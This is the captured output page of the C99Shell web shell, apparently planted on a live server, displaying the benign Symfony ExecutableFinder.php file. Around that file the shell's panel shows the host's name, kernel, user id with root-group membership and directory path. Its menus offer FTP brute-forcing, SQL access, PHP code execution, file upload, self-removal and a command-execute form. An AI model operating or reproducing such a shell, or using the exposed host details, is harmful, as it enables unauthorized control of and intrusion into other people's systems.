!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/symfony/process/   drwxr-xr-x
Free 28.59 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExecutableFinder.php (3.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Process;

/**
 * Generic executable finder.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Johannes M. Schmitt <schmittjoh@gmail.com>
 */
class ExecutableFinder
{
    private const 
CMD_BUILTINS = [
        
'assoc''break''call''cd''chdir''cls''color''copy''date',
        
'del''dir''echo''endlocal''erase''exit''for''ftype''goto',
        
'help''if''label''md''mkdir''mklink''move''path''pause',
        
'popd''prompt''pushd''rd''rem''ren''rename''rmdir''set',
        
'setlocal''shift''start''time''title''type''ver''vol',
    ];

    private 
$suffixes = [];

    
/**
     * Replaces default suffixes of executable.
     */
    
public function setSuffixes(array $suffixes)
    {
        
$this->suffixes $suffixes;
    }

    
/**
     * Adds new possible suffix to check for executable.
     */
    
public function addSuffix(string $suffix)
    {
        
$this->suffixes[] = $suffix;
    }

    
/**
     * Finds an executable by name.
     *
     * @param string      $name      The executable name (without the extension)
     * @param string|null $default   The default to return if no executable is found
     * @param array       $extraDirs Additional dirs to check into
     *
     * @return string|null
     */
    
public function find(string $name, ?string $default null, array $extraDirs = [])
    {
        
// windows built-in commands that are present in cmd.exe should not be resolved using PATH as they do not exist as exes
        
if ('\\' === \DIRECTORY_SEPARATOR && \in_array(strtolower($name), self::CMD_BUILTINStrue)) {
            return 
$name;
        }

        
$dirs array_merge(
            
explode(\PATH_SEPARATORgetenv('PATH') ?: getenv('Path')),
            
$extraDirs
        
);

        
$suffixes = [];
        if (
'\\' === \DIRECTORY_SEPARATOR) {
            
$pathExt getenv('PATHEXT');
            
$suffixes $this->suffixes;
            
$suffixes array_merge($suffixes$pathExt explode(\PATH_SEPARATOR$pathExt) : ['.exe''.bat''.cmd''.com']);
        }
        
$suffixes '' !== pathinfo($namePATHINFO_EXTENSION) ? array_merge([''], $suffixes) : array_merge($suffixes, ['']);
        foreach (
$suffixes as $suffix) {
            foreach (
$dirs as $dir) {
                if (
'' === $dir) {
                    
$dir '.';
                }
                if (@
is_file($file $dir.\DIRECTORY_SEPARATOR.$name.$suffix) && ('\\' === \DIRECTORY_SEPARATOR || @is_executable($file))) {
                    return 
$file;
                }

                if (!@
is_dir($dir) && basename($dir) === $name.$suffix && @is_executable($dir)) {
                    return 
$dir;
                }
            }
        }

        if (
'\\' === \DIRECTORY_SEPARATOR || !\function_exists('exec') || \strlen($name) !== strcspn($name'/'.\DIRECTORY_SEPARATOR)) {
            return 
$default;
        }

        
$execResult exec('command -v -- '.escapeshellarg($name));

        if ((
$executablePath substr($execResult0strpos($execResult\PHP_EOL) ?: null)) && @is_executable($executablePath)) {
            return 
$executablePath;
        }

        return 
$default;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--